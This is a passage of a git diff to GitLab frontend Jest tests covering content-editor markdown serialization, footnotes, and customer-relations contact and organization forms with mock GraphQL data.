- // Ensure we generate same markdown that was provided to Markdown API.
- it.each(loadMarkdownApiExamples())(
- 'correctly handles %s (context: %s)',
- async (name, context, markdown) => {
- const testName = context ? `${context}_${name}` : name;
- const contentEditor = createContentEditor({
- renderMarkdown: () => loadMarkdownApiResult(testName),
- });
- await contentEditor.setSerializedContent(markdown);
+const markdownYamlPath = path.join(
+ __dirname,
+ '..',
+ '..',
+ 'fixtures',
+ 'markdown',
+ 'markdown_golden_master_examples.yml',
+);
- expect(contentEditor.getSerializedContent()).toBe(markdown);
- },
- );
-});
+// See spec/fixtures/markdown/markdown_golden_master_examples.yml for documentation on how this spec works.
+describeMarkdownProcessing('CE markdown processing in ContentEditor', markdownYamlPath);
diff --git a/spec/frontend/content_editor/markdown_processing_spec_helper.js b/spec/frontend/content_editor/markdown_processing_spec_helper.js
new file mode 100644
index 00000000000..bb7ec0030a2
--- /dev/null
+++ b/spec/frontend/content_editor/markdown_processing_spec_helper.js
@@ -0,0 +1,86 @@
+import fs from 'fs';
+import jsYaml from 'js-yaml';
+import { memoize } from 'lodash';
+import { createContentEditor } from '~/content_editor';
+import { setTestTimeoutOnce } from 'helpers/timeout';
+
+const getFocusedMarkdownExamples = memoize(
+ () => process.env.FOCUSED_MARKDOWN_EXAMPLES?.split(',') || [],
+);
+
+const includeExample = ({ name }) => {
+ const focusedMarkdownExamples = getFocusedMarkdownExamples();
+ if (!focusedMarkdownExamples.length) {
+ return true;
+ }
+ return focusedMarkdownExamples.includes(name);
+};
+
+const getPendingReason = (pendingStringOrObject) => {
+ if (!pendingStringOrObject) {
+ return null;
+ }
+ if (typeof pendingStringOrObject === 'string') {
+ return pendingStringOrObject;
+ }
+ if (pendingStringOrObject.frontend) {
+ return pendingStringOrObject.frontend;
+ }
+
+ return null;
+};
+
+const loadMarkdownApiExamples = (markdownYamlPath) => {
+ const apiMarkdownYamlText = fs.readFileSync(markdownYamlPath);
+ const apiMarkdownExampleObjects = jsYaml.safeLoad(apiMarkdownYamlText);
+
+ return apiMarkdownExampleObjects
+ .filter(includeExample)
+ .map(({ name, pending, markdown, html }) => [
+ name,
+ { pendingReason: getPendingReason(pending), markdown, html },
+ ]);
+};
+
+const testSerializesHtmlToMarkdownForElement = async ({ markdown, html }) => {
+ const contentEditor = createContentEditor({
+ // Overwrite renderMarkdown to always return this specific html
+ renderMarkdown: () => html,
+ });
+
+ await contentEditor.setSerializedContent(markdown);
+
+ // This serializes the ContentEditor document, which was based on the HTML, to markdown
+ const serializedContent = contentEditor.getSerializedContent();
+
+ // Assert that the markdown we ended up with after sending it through all the ContentEditor
+ // plumbing matches the original markdown from the YAML.
+ expect(serializedContent).toBe(markdown);
+};
+
+// describeMarkdownProcesssing
+//
+// This is used to dynamically generate examples (for both CE and EE) to ensure
+// we generate same markdown that was provided to Markdown API.
+//
+// eslint-disable-next-line jest/no-export
+export const describeMarkdownProcessing = (description, markdownYamlPath) => {
+ const examples = loadMarkdownApiExamples(markdownYamlPath);
+
+ describe(description, () => {
+ describe.each(examples)('%s', (name, { pendingReason, ...example }) => {
+ const exampleName = 'correctly serializes HTML to markdown';
+ if (pendingReason) {
+ it.todo(`${exampleName}: ${pendingReason}`);
+ return;
+ }
+
+ it(exampleName, async () => {
+ if (name === 'frontmatter_toml') {
+ setTestTimeoutOnce(2000);
+ }
+ await testSerializesHtmlToMarkdownForElement(example);
+ });
+ });
+ });
+};
diff --git a/spec/frontend/content_editor/services/markdown_serializer_spec.js b/spec/frontend/content_editor/services/markdown_serializer_spec.js
index cfd93c2df10..97f6d8f6334 100644
--- a/spec/frontend/content_editor/services/markdown_serializer_spec.js
+++ b/spec/frontend/content_editor/services/markdown_serializer_spec.js
@@ -11,6 +11,9 @@ import Division from '~/content_editor/extensions/division';
import Emoji from '~/content_editor/extensions/emoji';
import Figure from '~/content_editor/extensions/figure';
import FigureCaption from '~/content_editor/extensions/figure_caption';
+import FootnoteDefinition from '~/content_editor/extensions/footnote_definition';
+import FootnoteReference from '~/content_editor/extensions/footnote_reference';
+import FootnotesSection from '~/content_editor/extensions/footnotes_section';
import HardBreak from '~/content_editor/extensions/hard_break';
import Heading from '~/content_editor/extensions/heading';
import HorizontalRule from '~/content_editor/extensions/horizontal_rule';
@@ -28,7 +31,6 @@ import TableHeader from '~/content_editor/extensions/table_header';
import TableRow from '~/content_editor/extensions/table_row';
import TaskItem from '~/content_editor/extensions/task_item';
import TaskList from '~/content_editor/extensions/task_list';
-import Text from '~/content_editor/extensions/text';
import markdownSerializer from '~/content_editor/services/markdown_serializer';
import { createTestEditor, createDocBuilder } from '../test_utils';
@@ -47,6 +49,9 @@ const tiptapEditor = createTestEditor({
DetailsContent,
Division,
Emoji,
+ FootnoteDefinition,
+ FootnoteReference,
+ FootnotesSection,
Figure,
FigureCaption,
HardBreak,
@@ -58,7 +63,6 @@ const tiptapEditor = createTestEditor({
Link,
ListItem,
OrderedList,
- Paragraph,
Strike,
Table,
TableCell,
@@ -66,7 +70,6 @@ const tiptapEditor = createTestEditor({
TableRow,
TaskItem,
TaskList,
- Text,
],
});
@@ -84,6 +87,9 @@ const {
descriptionItem,
descriptionList,
emoji,
+ footnoteDefinition,
+ footnoteReference,
+ footnotesSection,
figure,
figureCaption,
heading,
@@ -120,6 +126,9 @@ const {
emoji: { markType: Emoji.name },
figure: { nodeType: Figure.name },
figureCaption: { nodeType: FigureCaption.name },
+ footnoteDefinition: { nodeType: FootnoteDefinition.name },
+ footnoteReference: { nodeType: FootnoteReference.name },
+ footnotesSection: { nodeType: FootnotesSection.name },
hardBreak: { nodeType: HardBreak.name },
heading: { nodeType: Heading.name },
horizontalRule: { nodeType: HorizontalRule.name },
@@ -1108,4 +1117,22 @@ there
`.trim(),
);
});
+
+ it('correctly serializes footnotes', () => {
+ expect(
+ serialize(
+ paragraph(
+ 'Oranges are orange ',
+ footnoteReference({ footnoteId: '1', footnoteNumber: '1' }),
+ ),
+ footnotesSection(footnoteDefinition(paragraph('Oranges are fruits'))),
+ ),
+ ).toBe(
+ `
+Oranges are orange [^1]
+
+[^1]: Oranges are fruits
+ `.trim(),
+ );
+ });
});
diff --git a/spec/frontend/crm/contact_form_spec.js b/spec/frontend/crm/contact_form_spec.js
new file mode 100644
index 00000000000..b2753ad8cf5
--- /dev/null
+++ b/spec/frontend/crm/contact_form_spec.js
@@ -0,0 +1,157 @@
+import { GlAlert } from '@gitlab/ui';
+import Vue from 'vue';
+import VueApollo from 'vue-apollo';
+import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
+import createMockApollo from 'helpers/mock_apollo_helper';
+import waitForPromises from 'helpers/wait_for_promises';
+import ContactForm from '~/crm/components/contact_form.vue';
+import createContactMutation from '~/crm/components/queries/create_contact.mutation.graphql';
+import updateContactMutation from '~/crm/components/queries/update_contact.mutation.graphql';
+import getGroupContactsQuery from '~/crm/components/queries/get_group_contacts.query.graphql';
+import {
+ createContactMutationErrorResponse,
+ createContactMutationResponse,
+ getGroupContactsQueryResponse,
+ updateContactMutationErrorResponse,
+ updateContactMutationResponse,
+} from './mock_data';
+
+describe('Customer relations contact form component', () => {
+ Vue.use(VueApollo);
+ let wrapper;
+ let fakeApollo;
+ let mutation;
+ let queryHandler;
+
+ const findSaveContactButton = () => wrapper.findByTestId('save-contact-button');
+ const findCancelButton = () => wrapper.findByTestId('cancel-button');
+ const findForm = () => wrapper.find('form');
+ const findError = () => wrapper.findComponent(GlAlert);
+
+ const mountComponent = ({ mountFunction = shallowMountExtended, editForm = false } = {}) => {
+ fakeApollo = createMockApollo([[mutation, queryHandler]]);
+ fakeApollo.clients.defaultClient.cache.writeQuery({
+ query: getGroupContactsQuery,
+ variables: { groupFullPath: 'flightjs' },
+ data: getGroupContactsQueryResponse.data,
+ });
+ const propsData = { drawerOpen: true };
+ if (editForm)
+ propsData.contact = { firstName: 'First', lastName: 'Last', email: 'email@example.com' };
+ wrapper = mountFunction(ContactForm, {
+ provide: { groupId: 26, groupFullPath: 'flightjs' },
+ apolloProvider: fakeApollo,
+ propsData,
+ });
+ };
+
+ beforeEach(() => {
+ mutation = createContactMutation;
+ queryHandler = jest.fn().mockResolvedValue(createContactMutationResponse);
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ fakeApollo = null;
+ });
+
+ describe('Save contact button', () => {
+ it('should be disabled when required fields are empty', () => {
+ mountComponent();
+
+ expect(findSaveContactButton().props('disabled')).toBe(true);
+ });
+
+ it('should not be disabled when required fields have values', async () => {
+ mountComponent();
+
+ wrapper.find('#contact-first-name').vm.$emit('input', 'A');
+ wrapper.find('#contact-last-name').vm.$emit('input', 'B');
+ wrapper.find('#contact-email').vm.$emit('input', 'C');
+ await waitForPromises();
+
+ expect(findSaveContactButton().props('disabled')).toBe(false);
+ });
+ });
+
+ it("should emit 'close' when cancel button is clicked", () => {
+ mountComponent();
+
+ findCancelButton().vm.$emit('click');
+
+ expect(wrapper.emitted().close).toBeTruthy();
+ });
+
+ describe('when create mutation is successful', () => {
+ it("should emit 'close'", async () => {
+ mountComponent();
+
+ findForm().trigger('submit');
+ await waitForPromises();
+
+ expect(wrapper.emitted().close).toBeTruthy();
+ });
+ });
+
+ describe('when create mutation fails', () => {
+ it('should show error on reject', async () => {
+ queryHandler = jest.fn().mockRejectedValue('ERROR');
+ mountComponent();
+
+ findForm().trigger('submit');
+ await waitForPromises();
+
+ expect(findError().exists()).toBe(true);
+ });
+
+ it('should show error on error response', async () => {
+ queryHandler = jest.fn().mockResolvedValue(createContactMutationErrorResponse);
+ mountComponent();
+
+ findForm().trigger('submit');
+ await waitForPromises();
+
+ expect(findError().exists()).toBe(true);
+ expect(findError().text()).toBe('Phone is invalid.');
+ });
+ });
+
+ describe('when update mutation is successful', () => {
+ it("should emit 'close'", async () => {
+ mutation = updateContactMutation;
+ queryHandler = jest.fn().mockResolvedValue(updateContactMutationResponse);
+ mountComponent({ editForm: true });
+
+ findForm().trigger('submit');
+ await waitForPromises();
+
+ expect(wrapper.emitted().close).toBeTruthy();
+ });
+ });
+
+ describe('when update mutation fails', () => {
+ beforeEach(() => {
+ mutation = updateContactMutation;
+ });
+
+ it('should show error on reject', async () => {
+ queryHandler = jest.fn().mockRejectedValue('ERROR');
+ mountComponent({ editForm: true });
+ findForm().trigger('submit');
+ await waitForPromises();
+
+ expect(findError().exists()).toBe(true);
+ });
+
+ it('should show error on error response', async () => {
+ queryHandler = jest.fn().mockResolvedValue(updateContactMutationErrorResponse);
+ mountComponent({ editForm: true });
+
+ findForm().trigger('submit');
+ await waitForPromises();
+
+ expect(findError().exists()).toBe(true);
+ expect(findError().text()).toBe('Email is invalid.');
+ });
+ });
+});
diff --git a/spec/frontend/crm/contacts_root_spec.js b/spec/frontend/crm/contacts_root_spec.js
index 79b85969eb4..b30349305a3 100644
--- a/spec/frontend/crm/contacts_root_spec.js
+++ b/spec/frontend/crm/contacts_root_spec.js
@@ -1,39 +1,65 @@
-import { GlLoadingIcon } from '@gitlab/ui';
+import { GlAlert, GlLoadingIcon } from '@gitlab/ui';
import Vue from 'vue';
import VueApollo from 'vue-apollo';
+import VueRouter from 'vue-router';
import { mountExtended, shallowMountExtended } from 'helpers/vue_test_utils_helper';
import createMockApollo from 'helpers/mock_apollo_helper';
import waitForPromises from 'helpers/wait_for_promises';
-import createFlash from '~/flash';
import ContactsRoot from '~/crm/components/contacts_root.vue';
+import ContactForm from '~/crm/components/contact_form.vue';
import getGroupContactsQuery from '~/crm/components/queries/get_group_contacts.query.graphql';
+import { NEW_ROUTE_NAME, EDIT_ROUTE_NAME } from '~/crm/constants';
+import routes from '~/crm/routes';
import { getGroupContactsQueryResponse } from './mock_data';
-jest.mock('~/flash');
-
describe('Customer relations contacts root app', () => {
Vue.use(VueApollo);
+ Vue.use(VueRouter);
let wrapper;
let fakeApollo;
+ let router;
const findLoadingIcon = () => wrapper.findComponent(GlLoadingIcon);
const findRowByName = (rowName) => wrapper.findAllByRole('row', { name: rowName });
+ const findIssuesLinks = () => wrapper.findAllByTestId('issues-link');
+ const findNewContactButton = () => wrapper.findByTestId('new-contact-button');
+ const findEditContactButton = () => wrapper.findByTestId('edit-contact-button');
+ const findContactForm = () => wrapper.findComponent(ContactForm);
+ const findError = () => wrapper.findComponent(GlAlert);
const successQueryHandler = jest.fn().mockResolvedValue(getGroupContactsQueryResponse);
+ const basePath = '/groups/flightjs/-/crm/contacts';
+
const mountComponent = ({
queryHandler = successQueryHandler,
mountFunction = shallowMountExtended,
+ canAdminCrmContact = true,
} = {}) => {
fakeApollo = createMockApollo([[getGroupContactsQuery, queryHandler]]);
wrapper = mountFunction(ContactsRoot, {
- provide: { groupFullPath: 'flightjs' },
+ router,
+ provide: {
+ groupFullPath: 'flightjs',
+ groupIssuesPath: '/issues',
+ groupId: 26,
+ canAdminCrmContact,
+ },
apolloProvider: fakeApollo,
});
};
+ beforeEach(() => {
+ router = new VueRouter({
+ base: basePath,
+ mode: 'history',
+ routes,
+ });
+ });
+
afterEach(() => {
wrapper.destroy();
fakeApollo = null;
+ router = null;
});
it('should render loading spinner', () => {
@@ -42,19 +68,113 @@ describe('Customer relations contacts root app', () => {
expect(findLoadingIcon().exists()).toBe(true);
});
- it('should render error message on reject', async () => {
- mountComponent({ queryHandler: jest.fn().mockRejectedValue('ERROR') });
- await waitForPromises();
+ describe('new contact button', () => {
+ it('should exist when user has permission', () => {
+ mountComponent();
+
+ expect(findNewContactButton().exists()).toBe(true);
+ });
+
+ it('should not exist when user has no permission', () => {
+ mountComponent({ canAdminCrmContact: false });
+
+ expect(findNewContactButton().exists()).toBe(false);
+ });
+ });
+
+ describe('contact form', () => {
+ it('should not exist by default', async () => {
+ mountComponent();
+ await waitForPromises();
+
+ expect(findContactForm().exists()).toBe(false);
+ });
+
+ it('should exist when user clicks new contact button', async () => {
+ mountComponent();
+
+ findNewContactButton().vm.$emit('click');
+ await waitForPromises();
+
+ expect(findContactForm().exists()).toBe(true);
+ });
+
+ it('should exist when user navigates directly to `new` route', async () => {
+ router.replace({ name: NEW_ROUTE_NAME });
+ mountComponent();
+ await waitForPromises();
+
+ expect(findContactForm().exists()).toBe(true);
+ });
+
+ it('should exist when user clicks edit contact button', async () => {
+ mountComponent({ mountFunction: mountExtended });
+ await waitForPromises();
+
+ findEditContactButton().vm.$emit('click');
+ await waitForPromises();
+
+ expect(findContactForm().exists()).toBe(true);
+ });
+
+ it('should exist when user navigates directly to `edit` route', async () => {
+ router.replace({ name: EDIT_ROUTE_NAME, params: { id: 16 } });
+ mountComponent();
+ await waitForPromises();
+
+ expect(findContactForm().exists()).toBe(true);
+ });
+
+ it('should not exist when new form emits close', async () => {
+ router.replace({ name: NEW_ROUTE_NAME });
+ mountComponent();
+
+ findContactForm().vm.$emit('close');
+ await waitForPromises();
+
+ expect(findContactForm().exists()).toBe(false);
+ });
+
+ it('should not exist when edit form emits close', async () => {
+ router.replace({ name: EDIT_ROUTE_NAME, params: { id: 16 } });
+ mountComponent();
+ await waitForPromises();
+
+ findContactForm().vm.$emit('close');
+ await waitForPromises();
+
+ expect(findContactForm().exists()).toBe(false);
+ });
+ });
+
+ describe('error', () => {
+ it('should exist on reject', async () => {
+ mountComponent({ queryHandler: jest.fn().mockRejectedValue('ERROR') });
+ await waitForPromises();
- expect(createFlash).toHaveBeenCalled();
+ expect(findError().exists()).toBe(true);
+ });
});
- it('renders correct results', async () => {
- mountComponent({ mountFunction: mountExtended });
- await waitForPromises();
+ describe('on successful load', () => {
+ it('should not render error', async () => {
+ mountComponent();
+ await waitForPromises();
- expect(findRowByName(/Marty/i)).toHaveLength(1);
- expect(findRowByName(/George/i)).toHaveLength(1);
- expect(findRowByName(/jd@gitlab.com/i)).toHaveLength(1);
+ expect(findError().exists()).toBe(false);
+ });
+
+ it('renders correct results', async () => {
+ mountComponent({ mountFunction: mountExtended });
+ await waitForPromises();
+
+ expect(findRowByName(/Marty/i)).toHaveLength(1);
+ expect(findRowByName(/George/i)).toHaveLength(1);
+ expect(findRowByName(/jd@gitlab.com/i)).toHaveLength(1);
+
+ const issueLink = findIssuesLinks().at(0);
+ expect(issueLink.exists()).toBe(true);
+ expect(issueLink.attributes('href')).toBe('/issues?scope=all&state=opened&crm_contact_id=16');
+ });
});
});
diff --git a/spec/frontend/crm/mock_data.js b/spec/frontend/crm/mock_data.js
index 4197621aaa6..f7af2ccdb72 100644
--- a/spec/frontend/crm/mock_data.js
+++ b/spec/frontend/crm/mock_data.js
@@ -40,7 +40,6 @@ export const getGroupContactsQueryResponse = {
organization: null,
},
],
- __typename: 'CustomerRelationsContactConnection',
},
},
},
@@ -79,3 +78,84 @@ export const getGroupOrganizationsQueryResponse = {
},
},
};
+
+export const createContactMutationResponse = {
+ data: {
+ customerRelationsContactCreate: {
+ __typeName: 'CustomerRelationsContactCreatePayload',
+ contact: {
+ __typename: 'CustomerRelationsContact',
+ id: 'gid://gitlab/CustomerRelations::Contact/1',
+ firstName: 'A',
+ lastName: 'B',
+ email: 'C',
+ phone: null,
+ description: null,
+ organization: null,
+ },
+ errors: [],
+ },
+ },
+};
+
+export const createContactMutationErrorResponse = {
+ data: {
+ customerRelationsContactCreate: {
+ contact: null,
+ errors: ['Phone is invalid.'],
+ },
+ },
+};
+
+export const updateContactMutationResponse = {
+ data: {
+ customerRelationsContactUpdate: {
+ __typeName: 'CustomerRelationsContactCreatePayload',
+ contact: {
+ __typename: 'CustomerRelationsContact',
+ id: 'gid://gitlab/CustomerRelations::Contact/1',
+ firstName: 'First',
+ lastName: 'Last',
+ email: 'email@example.com',
+ phone: null,
+ description: null,
+ organization: null,
+ },
+ errors: [],
+ },
+ },
+};
+
+export const updateContactMutationErrorResponse = {
+ data: {
+ customerRelationsContactUpdate: {
+ contact: null,
+ errors: ['Email is invalid.'],
+ },
+ },
+};
+
+export const createOrganizationMutationResponse = {
+ data: {
+ customerRelationsOrganizationCreate: {
+ __typeName: 'CustomerRelationsOrganizationCreatePayload',
+ organization: {
+ __typename: 'CustomerRelationsOrganization',
+ id: 'gid://gitlab/CustomerRelations::Organization/2',
+ name: 'A',
+ defaultRate: null,
+ description: null,
+ },
+ errors: [],
+ },
+ },
+};
+
+export const createOrganizationMutationErrorResponse = {
+ data: {
+ customerRelationsOrganizationCreate: {
+ organization: null,
+ errors: ['Name cannot be blank.'],
+ },
+ },
+};
diff --git a/spec/frontend/crm/new_organization_form_spec.js b/spec/frontend/crm/new_organization_form_spec.js
new file mode 100644
index 00000000000..976b626f35f
--- /dev/null
+++ b/spec/frontend/crm/new_organization_form_spec.js
@@ -0,0 +1,109 @@
+import { GlAlert } from '@gitlab/ui';
+import Vue from 'vue';
+import VueApollo from 'vue-apollo';
+import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
+import createMockApollo from 'helpers/mock_apollo_helper';
+import waitForPromises from 'helpers/wait_for_promises';
+import NewOrganizationForm from '~/crm/components/new_organization_form.vue';
+import createOrganizationMutation from '~/crm/components/queries/create_organization.mutation.graphql';
+import getGroupOrganizationsQuery from '~/crm/components/queries/get_group_organizations.query.graphql';
+import {
+ createOrganizationMutationErrorResponse,
+ createOrganizationMutationResponse,
+ getGroupOrganizationsQueryResponse,
+} from './mock_data';
+
+describe('Customer relations organizations root app', () => {
+ Vue.use(VueApollo);
+ let wrapper;
+ let fakeApollo;
+ let queryHandler;
+
+ const findCreateNewOrganizationButton = () =>
+ wrapper.findByTestId('create-new-organization-button');
+ const findCancelButton = () => wrapper.findByTestId('cancel-button');
+ const findForm = () => wrapper.find('form');
+ const findError = () => wrapper.findComponent(GlAlert);
+
+ const mountComponent = () => {
+ fakeApollo = createMockApollo([[createOrganizationMutation, queryHandler]]);
+ fakeApollo.clients.defaultClient.cache.writeQuery({
+ query: getGroupOrganizationsQuery,
+ variables: { groupFullPath: 'flightjs' },
+ data: getGroupOrganizationsQueryResponse.data,
+ });
+ wrapper = shallowMountExtended(NewOrganizationForm, {
+ provide: { groupId: 26, groupFullPath: 'flightjs' },
+ apolloProvider: fakeApollo,
+ propsData: { drawerOpen: true },
+ });
+ };
+
+ beforeEach(() => {
+ queryHandler = jest.fn().mockResolvedValue(createOrganizationMutationResponse);
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ fakeApollo = null;
+ });
+
+ describe('Create new organization button', () => {
+ it('should be disabled by default', () => {
+ mountComponent();
+
+ expect(findCreateNewOrganizationButton().attributes('disabled')).toBeTruthy();
+ });
+
+ it('should not be disabled when first, last and email have values', async () => {
+ mountComponent();
+
+ wrapper.find('#organization-name').vm.$emit('input', 'A');
+ await waitForPromises();
+
+ expect(findCreateNewOrganizationButton().attributes('disabled')).toBeFalsy();
+ });
+ });
+
+ it("should emit 'close' when cancel button is clicked", () => {
+ mountComponent();
+
+ findCancelButton().vm.$emit('click');
+
+ expect(wrapper.emitted().close).toBeTruthy();
+ });
+
+ describe('when query is successful', () => {
+ it("should emit 'close'", async () => {
+ mountComponent();
+
+ findForm().trigger('submit');
+ await waitForPromises();
+
+ expect(wrapper.emitted().close).toBeTruthy();
+ });
+ });
+
+ describe('when query fails', () => {
+ it('should show error on reject', async () => {
+ queryHandler = jest.fn().mockRejectedValue('ERROR');
+ mountComponent();
+
+ findForm().trigger('submit');
+ await waitForPromises();
+
+ expect(findError().exists()).toBe(true);
+ });
+
+ it('should show error on error response', async () => {
+ queryHandler = jest.fn().mockResolvedValue(createOrganizationMutationErrorResponse);
+ mountComponent();
+
+ findForm().trigger('submit');
+ await waitForPromises();
+
+ expect(findError().exists()).toBe(true);
+ expect(findError().text()).toBe('Name cannot be blank.');
+ });
+ });
+});
diff --git a/spec/frontend/crm/organizations_root_spec.js b/spec/frontend/crm/organizations_root_spec.js
index a69a099e03d..aef417964f4 100644
--- a/spec/frontend/crm/organizations_root_spec.js
+++ b/spec/frontend/crm/organizations_root_spec.js
@@ -1,39 +1,59 @@
-import { GlLoadingIcon } from '@gitlab/ui';
+import { GlAlert, GlLoadingIcon } from '@gitlab/ui';
import Vue from 'vue';
import VueApollo from 'vue-apollo';
+import VueRouter from 'vue-router';
import { mountExtended, shallowMountExtended } from 'helpers/vue_test_utils_helper';
import createMockApollo from 'helpers/mock_apollo_helper';
import waitForPromises from 'helpers/wait_for_promises';
-import createFlash from '~/flash';
import OrganizationsRoot from '~/crm/components/organizations_root.vue';
+import NewOrganizationForm from '~/crm/components/new_organization_form.vue';
+import { NEW_ROUTE_NAME } from '~/crm/constants';
+import routes from '~/crm/routes';
import getGroupOrganizationsQuery from '~/crm/components/queries/get_group_organizations.query.graphql';
import { getGroupOrganizationsQueryResponse } from './mock_data';
-jest.mock('~/flash');
-
describe('Customer relations organizations root app', () => {
Vue.use(VueApollo);
+ Vue.use(VueRouter);
let wrapper;
let fakeApollo;
+ let router;
const findLoadingIcon = () => wrapper.findComponent(GlLoadingIcon);
const findRowByName = (rowName) => wrapper.findAllByRole('row', { name: rowName });
+ const findIssuesLinks = () => wrapper.findAllByTestId('issues-link');
+ const findNewOrganizationButton = () => wrapper.findByTestId('new-organization-button');
+ const findNewOrganizationForm = () => wrapper.findComponent(NewOrganizationForm);
+ const findError = () => wrapper.findComponent(GlAlert);
const successQueryHandler = jest.fn().mockResolvedValue(getGroupOrganizationsQueryResponse);
+ const basePath = '/groups/flightjs/-/crm/organizations';
+
const mountComponent = ({
queryHandler = successQueryHandler,
mountFunction = shallowMountExtended,
+ canAdminCrmOrganization = true,
} = {}) => {
fakeApollo = createMockApollo([[getGroupOrganizationsQuery, queryHandler]]);
wrapper = mountFunction(OrganizationsRoot, {
- provide: { groupFullPath: 'flightjs' },
+ router,
+ provide: { canAdminCrmOrganization, groupFullPath: 'flightjs', groupIssuesPath: '/issues' },
apolloProvider: fakeApollo,
});
};
+ beforeEach(() => {
+ router = new VueRouter({
+ base: basePath,
+ mode: 'history',
+ routes,
+ });
+ });
+
afterEach(() => {
wrapper.destroy();
fakeApollo = null;
+ router = null;
});
it('should render loading spinner', () => {
@@ -42,19 +62,84 @@ describe('Customer relations organizations root app', () => {
expect(findLoadingIcon().exists()).toBe(true);
});
+ describe('new organization button', () => {
+ it('should exist when user has permission', () => {
+ mountComponent();
+
+ expect(findNewOrganizationButton().exists()).toBe(true);
+ });
+
+ it('should not exist when user has no permission', () => {
+ mountComponent({ canAdminCrmOrganization: false });
+
+ expect(findNewOrganizationButton().exists()).toBe(false);
+ });
+ });
+
+ describe('new organization form', () => {
+ it('should not exist by default', async () => {
+ mountComponent();
+ await waitForPromises();
+
+ expect(findNewOrganizationForm().exists()).toBe(false);
+ });
+
+ it('should exist when user clicks new contact button', async () => {
+ mountComponent();
+
+ findNewOrganizationButton().vm.$emit('click');
+ await waitForPromises();
+
+ expect(findNewOrganizationForm().exists()).toBe(true);
+ });
+
+ it('should exist when user navigates directly to /new', async () => {
+ router.replace({ name: NEW_ROUTE_NAME });
+ mountComponent();
+ await waitForPromises();
+
+ expect(findNewOrganizationForm().exists()).toBe(true);
+ });
+
+ it('should not exist when form emits close', async () => {
+ router.replace({ name: NEW_ROUTE_NAME });
+ mountComponent();
+
+ findNewOrganizationForm().vm.$emit('close');
+ await waitForPromises();
+
+ expect(findNewOrganizationForm().exists()).toBe(false);
+ });
+ });
+
it('should render error message on reject', async () => {
mountComponent({ queryHandler: jest.fn().mockRejectedValue('ERROR') });
await waitForPromises();
- expect(createFlash).toHaveBeenCalled();
+ expect(findError().exists()).toBe(true);
});
- it('renders correct results', async () => {
- mountComponent({ mountFunction: mountExtended });
- await waitForPromises();
+ describe('on successful load', () => {
+ it('should not render error', async () => {
+ mountComponent();
+ await waitForPromises();
+
+ expect(findError().exists()).toBe(false);
+ });
+
+ it('renders correct results', async () => {
+ mountComponent({ mountFunction: mountExtended });
+ await waitForPromises();
- expect(findRowByName(/Test Inc/i)).toHaveLength(1);
- expect(findRowByName(/VIP/i)).toHaveLength(1);
- expect(findRowByName(/120/i)).toHaveLength(1);
+ expect(findRowByName(/Test Inc/i)).toHaveLength(1);
+ expect(findRowByName(/VIP/i)).toHaveLength(1);
+ expect(findRowByName(/120/i)).toHaveLength(1);
+
+ const issueLink = findIssuesLinks().at(0);
+ expect(issueLink.exists()).toBe(true);
+ expect(issueLink.attributes('href')).toBe(
+ '/issues?scope=all&state=opened&crm_organization_id=2',
+ );
+ });
});
});
diff --git a/spec/frontend/delete_label_modal_spec.js b/spec/frontend/delete_label_modal_spec.js
deleted file mode 100644
index 0b3e6fe652a..00000000000
--- a/spec/frontend/delete_label_modal_spec.js
+++ /dev/null
@@ -1,83 +0,0 @@
-import { TEST_HOST } from 'helpers/test_constants';
-import initDeleteLabelModal from '~/delete_label_modal';
-
-describe('DeleteLabelModal', () => {
- const buttons = [
- {
- labelName: 'label 1',
- subjectName: 'GitLab Org',
- destroyPath: `${TEST_HOST}/1`,
- },
- {
- labelName: 'label 2',
- subjectName: 'GitLab Org',
- destroyPath: `${TEST_HOST}/2`,
- },
- ];
-
- beforeEach(() => {
- const buttonContainer = document.createElement('div');
-
- buttons.forEach((x) => {
- const button = document.createElement('button');
- button.setAttribute('class', 'js-delete-label-modal-button');
- button.setAttribute('data-label-name', x.labelName);
- button.setAttribute('data-subject-name', x.subjectName);
- button.setAttribute('data-destroy-path', x.destroyPath);
- button.innerHTML = 'Action';
- buttonContainer.appendChild(button);
- });
-
- document.body.appendChild(buttonContainer);
- });
-
- afterEach(() => {
- document.body.innerHTML = '';
- });
-
- const findJsHooks = () => document.querySelectorAll('.js-delete-label-modal-button');
- const findModal = () => document.querySelector('.gl-modal');
-
- it('starts with only js-containers', () => {
- expect(findJsHooks()).toHaveLength(buttons.length);
- expect(findModal()).toBe(null);
- });
-
- describe('when first button clicked', () => {
- beforeEach(() => {
- initDeleteLabelModal();
- findJsHooks().item(0).click();
- });
-
- it('does not replace js-containers with GlModal', () => {
- expect(findJsHooks()).toHaveLength(buttons.length);
- });
-
- it('renders GlModal', () => {
- expect(findModal()).not.toBe(null);
- });
- });
-
- describe.each`
- index
- ${0}
- ${1}
- `(`when multiple buttons exist`, ({ index }) => {
- beforeEach(() => {
- initDeleteLabelModal();
- findJsHooks().item(index).click();
- });
-
- it('correct props are passed to gl-modal', () => {
- expect(findModal().querySelector('.modal-title').innerHTML).toContain(
- buttons[index].labelName,
- );
- expect(findModal().querySelector('.modal-body').innerHTML).toContain(
- buttons[index].subjectName,
- );
- expect(findModal().querySelector('.modal-footer .btn-danger').href).toContain(
- buttons[index].destroyPath,
- );
- });
- });
-});
diff --git a/spec/frontend/design_management/components/__snapshots__/design_note_pin_spec.js.snap b/spec/frontend/design_management/components/__snapshots__/design_note_pin_spec.js.snap
deleted file mode 100644
index ed8ed3254ba..00000000000
--- a/spec/frontend/design_management/components/__snapshots__/design_note_pin_spec.js.snap
+++ /dev/null
@@ -1,28 +0,0 @@
-// Jest Snapshot v1, https://goo.gl/fbAQLP
-
-exports[`Design note pin component should match the snapshot of note with index 1`] = `
-<button
- aria-label="Comment '1' position"
- class="gl-absolute gl-display-flex gl-align-items-center gl-justify-content-center gl-font-lg gl-outline-0! js-image-badge badge badge-pill"
- style="left: 10px; top: 10px;"
- type="button"
->
-
- 1
-
-</button>
-`;
-
-exports[`Design note pin component should match the snapshot of note without index 1`] = `
-<button
- aria-label="Comment form position"
- class="gl-absolute gl-display-flex gl-align-items-center gl-justify-content-center gl-font-lg gl-outline-0! btn-transparent comment-indicator gl-p-0"
- style="left: 10px; top: 10px;"
- type="button"
->
- <gl-icon-stub
- name="image-comment-dark"
- size="24"
- />
-</button>
-`;
diff --git a/spec/frontend/design_management/components/design_note_pin_spec.js b/spec/frontend/design_management/components/design_note_pin_spec.js
deleted file mode 100644
index a6219923aca..00000000000
--- a/spec/frontend/design_management/components/design_note_pin_spec.js
